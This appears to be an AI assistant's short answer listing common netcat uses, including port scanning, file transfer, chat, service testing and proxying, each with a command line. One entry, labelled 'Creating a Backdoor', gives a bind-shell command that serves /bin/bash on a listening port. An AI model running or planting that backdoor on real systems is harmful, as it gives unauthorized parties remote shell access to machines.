What are common netcat uses?

Netcat (nc) is a powerful networking tool with various common uses, including:

Port Scanning: Check open ports on a target machine.
```
nc -zv target_ip 1-1000
```
File Transfer: Send or receive files over a network.
- Sender:
```
nc -w 3 target_ip 1234 < file.txt
```
- Receiver:
```
nc -l -p 1234 > received_file.txt
```
Chatting: Create a simple chat application between two machines.
- Listener:
```
nc -l -p 1234
```
- Client:
```
nc target_ip 1234
```
Creating a Backdoor: Open a shell on a remote machine (use responsibly and ethically).
```
nc -l -p 1234 -e /bin/bash
```
Testing Network Services: Check if a service is running on a specific port.
```
echo "GET /" | nc target_ip 80
```
Proxying: Forward traffic between two hosts.
```
nc -l -p 1234 | nc target_ip target_port
```

These are just a few examples. Netcat is versatile and can be adapted for many networking tasks. If you need more details on any specific use case, let me know!